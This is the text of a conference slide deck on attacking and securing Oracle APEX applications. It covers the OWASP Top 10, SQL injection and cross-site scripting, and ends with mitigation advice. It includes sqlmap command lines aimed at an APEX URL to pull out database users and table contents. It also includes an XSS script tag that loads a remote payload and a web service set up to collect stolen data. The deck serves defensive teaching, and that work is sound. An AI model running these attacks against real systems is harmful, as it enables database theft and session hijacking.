SpendoliniHacking Oracle APEX
SpendoliniHacking Oracle APEX
SpendoliniHacking Oracle APEX
!2
About Me
Welcome [email protected]
@sspendol
!3 !4
About Sumner Technologies Agenda
• Originally Established 2005 • Overview
• Relaunched in 2015 • SQL Injection
– Focused exclusively on Oracle APEX solutions
• Cross Site Scripting
• Provide wide range of APEX related Services
– Architecture Design & Reviews • Summary
– Security Reviews
– Health Checks
– Education
• On-site, On-line, On-Demand
• Custom & Mentoring
OWASP
Overview • Open Web Application Security Project (OWASP)
– https://www.owasp.org/index.php/Main_Page
!7 !8
OWASP Top 10 OWASP Top 10
XSS flaws occur whenever an
• Awareness document for web application security • A1:2017 - Injectionapplication includes untrusted data in a
new web page without proper validation or
• Represents a broad consensus about the most critical • A2:2017 - Broken Authentication
escaping, or updates an existing web page with user-
security risks to web applications supplied data using a browser API that can create
• A3:2017 - Sensitive Data ExposureInjection
HTML or JavaScript. XSS allows attackers to execute
flaws, such as SQL, NoSQL,
• Project members include a variety of security experts • A4:2017 - XMLscripts
External
in theEntities
victim’s (XXE)
browser which can hijack user
OS, and LDAP injection, occur when
sessions, deface web sites, or redirect the
from around the world who have shared their expertise untrustedControl
• A5:2017 - Broken Access data is sent to an interpreter as part
user to malicious sites.
to produce this list. of a command or query. The attacker’s hostile
• A6:2017 - Security Misconfiguration
data can trick the interpreter into executing
• Download the full report here: unintended commands or accessing data
• A7:2017 - Cross-Site Scripting (XSS)
without proper authorization.
– https://www.owasp.org/images/7/72/
• A8:2017 - Insecure Deserialization
OWASP_Top_10-2017_%28en%29.pdf.pdf
• A9:2017 - Using Components with Known Vulnerabilities
• A10:2017 - Insufficient Logging & Monitoring
!9 !10
!11 !12
SQL Injection (SQLi)
SQL Injection • SQL Injection is when a user enters some SQL that
ends up being executed and alters the intended
functionality and/or results of the system
– Typically for the worse, not for the better
• Possible to inject both DDL & DML
– All depends on the skill of the attacker and privileges of the
schema
• At minimum, it is disruptive
– Restore dropped tables
• Worst case, it is catastrophic
– Find another career path
!13 !14
!15 !16
sqlmap sqlmap Features
• sqlmap is an “open source penetration testing tool that • Uses six SQL Injection attack types
automates the process of detecting and exploiting SQL – Boolean-based blind, time-based blind, error-based, UNION
injection flaws and taking over of database servers” query-based, stacked queries and out-of-band
– http://sqlmap.org
• Built-in support to get users, password hashes,
– https://github.com/sqlmapproject/sqlmap
privileges, roles, databases, tables and columns
• Command-line tool that probes for and exploits SQL
• Ability to crack passwords w/a dictionary-based
injection vulnerabilities in any major database
attack
– MySQL, Oracle, PostgreSQL,
Microsoft SQL Server, • Can search data dictionary for tables, columns, etc.
Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase, • Execute arbitrary commands and retrieve their
SAP MaxDB, HSQLDB output
& Informix
!17 !18
!21 !22
wwv_flow.show wwv_flow.show
• For sqlmap to work, we have to be able to provide a • Thus, we can re-write the APEX URL using
valid parameter name that triggers a SQLi flaw wwv_flow.show and reference an APEX item
– APEX uses a single parameter “p” with a colon-delimited string • This URL:
which does not have a flaw
http://vm51/ords/f?p=121:1:12450968363470::::P1_ITEM:ABC
http://vm51/ords/f?p=121:1:12450968363470::::P1_ITEM:ABC • Becomes:
– This format won’t work, as we have no control as to where the http://vm51/ords/wwv_flow.show? f?
parameters passed in to “p” go p_flow_id=121 Application ID
&p_flow_step_id=1 Page ID
&p_instance=12450968363470 Session ID
&p_arg_name=P1_ITEM Item Name
&p_arg_value=ABC Item Value
!23 !24
sqlmap: Basics sqlmap: Banner & Current User
• Command basics & flags • To get the banner and current user from the database:
python sqlmap.py Base command python sqlmap.py
-u "http://vm51/ords/wwv_flow.show?p_flow_id=121 -u "<url>" …
&p_flow_step_id=1 -b Print the Banner
&p_instance=0 —-current_user Get the current user
&p_arg_name=P1_ITEM
&p_arg_value=ABC" URL to use
--batch Take all defaults
--dbms Oracle Database = Oracle
-p p_arg_value Inject into this parameter
--flush-session Flush all cached data
!25 !26
!27 !28
sqlmap: Declarative Query sqlmap: Search Columns
• Pass in schema, table and columns that you want to • To search all user columns for a specific string:
fetch: python sqlmap.py
-u "<url>" … —D <schema>
-T <table_name> -C <string>
-C "<col1>,<col2>,<col3>"
!29 !30
!31 !32
Demo Mitigation
• Oracle Banner & User • Don’t use &ITEM. Syntax in your SQL
– Public Page & Authenticated • Be very cautious when using EXECUTE IMMEDIATE
• Workspace Applications and DBMS_SQL
• Workspace Users – If users can influence parameters to either, that data should be
sanitized and/or restricted
• Database Users
• Use a shadow schema
• Application Report SQL – Only expose the tables/column required for the application
• User Tables – Remove all unnecessary privileges to prevent DDL
• Search Columns • Use VPD or secure views
• Dump Table Contents – SQL Injection circumvents most APEX-based security
!33 !34
Mitigation Mitigation
• Remember this: A10:2017 - Insufficient Logging & • Use an APEX-specific security tool
Monitoring – APEX-SERT
– Be sure to monitor your APEX logs – ApexSec
– sqlmap has a specific user agent: • Be cautious when using EXECUTE IMMEDIATE or
sqlmap/1.2.3.4#dev (http://sqlmap.org) DBMS_SQL
– Both can potentially open up SQL Injection holes with and
without using the &ITEM. syntax
• If you see that in your page views, someone is probing/
attacking your database • Conduct peer reviews of your code
– As Tom Kyte used to say, get someone who doesn’t like you to
review it - results will be better
!35 !36
Cross Site Scripting (XSS)
Cross Site Scripting • Not to be confused with CSS, Cross Site Scripting is
when a foreign unauthorized script is executed
– Reference or even the script is inserted into the database
– When it is displayed, it is not properly escaped, and thus
executes vs. harmlessly displays
• Typically demoed using a simple “Hello” alert
– Which does not even begin to describe the damage that XSS is
capable of
– So we’ll use some more serious exploits for emphasis
!37 !38
!39 !40
Anatomy of an XSS Attack Web Service
• A simple ORDS web service was created to receive the
data
<script src="https://server/ – POST with a single parameter: p_val
bad.js"></script>
!41 !42
!43 !44
Interactive Report Data
• Next, we can also grab data displayed in an Demo: Interactive Report
Interactive Report
– Specific attack is limited to the rows that render with the
compromised row
Data
– Thus, an attacker may compromise several or all rows
• Possible to engineer a more effective attack
– Via unescaped persistent regions or items
!45 !46
!47 !48
APEX Components
• Not running Production in runtime-only mode is
dangerous
Demo: APEX Components
– You’ve heard this for years
– But you’ve probably not changed your mind and still let
developers log into production
– Time to re-think that decision
• As an end user, we can inject some code that
when a developer is logged into and running an
application, that code will execute and can create
and/or modify APEX components
!49 !50
Mitigation Mitigation
• Never disable escaping on columns • Use an APEX-specific security tool
– When you do, be sure you know where the data is coming from – APEX-SERT
or escape it with APEX_ESCAPE – ApexSec
• Always use APEX_ESCAPE when rendering HTML via
htp.p or htp.prn
– Different options for different scenarios
• JSON, LDAP, HTML, REGEXP
!51 !52
Summary
Summary • SQLi & XSS are possible in almost every language
– Much less likely in APEX than others, but not impossible
– With most platforms, developers have to introduce the risk
either deliberately (unlikely) or accidentally (likely)
• APEX remains one of the most secure
development platform when used properly
– Not unlike a car, hammer, flame thrower, gun, etc.
• Subscribing to secure best practices combined
with using a security evaluation tool will ensure
that risks are minimized or eliminated
– APEX-SERT & RecX are two specific to APEX
!53 !54
!55